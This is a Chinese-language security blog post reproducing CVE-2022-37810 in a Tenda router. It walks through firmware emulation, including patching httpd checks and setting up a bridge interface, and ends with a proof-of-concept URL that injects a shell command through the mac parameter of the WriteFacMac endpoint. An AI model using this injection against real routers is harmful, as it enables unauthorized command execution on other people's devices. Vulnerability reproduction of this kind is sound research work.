Tenda 路由器 CVE-2022-37810复现

Tenda 路由器 CVE-2022-37810复现

Berial Pwn

漏洞描述

image-20250414204505674
image-20250414204505674

固件下载

下载链接

固件模拟

根据以往经验知道是/bin/httpd服务

先尝试用户级模拟,毕竟可能需要patch和配置虚拟网卡

image-20250414205255653
image-20250414205255653

根据报错的字符串找到错误流程的位置

image-20250414205857610
image-20250414205857610

看到主要是apmib_init函数的返回值控制了我们的报错,在网上主要是两种方法来处理,一种是找到定义该函数的库文件,找到对应的so文件,然后重新编写编译一个.so文件,定义该函数返回1即可。或者直接patch掉;我的习惯是直接patch

image-20250414211838841
image-20250414211838841

需要把这里的跳转直接全部nop到正常执行的部分

image-20250414211847451
image-20250414211847451

再次运行

image-20250414212511375
image-20250414212511375

是另一个报错了

同样的方法即可

image-20250414213256209
image-20250414213256209

ok了,接下来就是配置虚拟网卡了

根据字符串找到赋值ip的地方最后找到

image-20250414214851866
image-20250414214851866

1
2
3
sudo brctl addbr br0
sudo ip addr add 192.168.0.1/24 dev br0
ip -br -4 a

image-20250414214646260
image-20250414214646260

image-20250414214912103
image-20250414214912103

模拟成功了

image-20250414214949904
image-20250414214949904

系统级模拟只需要传到qemu虚拟机里面即可,这里不赘述了(主要就是创建好init里面创建的文件)

系统级模拟成功

image-20250414220622058
image-20250414220622058

漏洞分析

根据漏洞描述找到漏洞函数

image-20250414220828631
image-20250414220828631

这里控制好mac参数就可以进行命令注入,而这个函数一眼就可以看出应该是goform过程下的接口

image-20250414221305857
image-20250414221305857

访问下该接口试下

image-20250414221344645
image-20250414221344645

接着分析有何限制,没啥限制,就是获取了mac参数的值,若没有就用默认的00:01:02:11:22:33,那我们可以直接在后面拼接命令

POC

1
http://192.168.0.6/goform/WriteFacMac?mac=00:01:02:11:22:33%20||%20touch%20/tmp/Berial.txt

image-20250414222645161
image-20250414222645161

  • 标题: Tenda 路由器 CVE-2022-37810复现
  • 作者: Berial
  • 创建于 : 2025-04-14 20:27:09
  • 更新于 : 2025-04-14 22:27:02
  • 链接: https://berial.cn/posts/Tenda路由器CVE-2022-37810复现.html
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
Tenda 路由器 CVE-2022-37810复现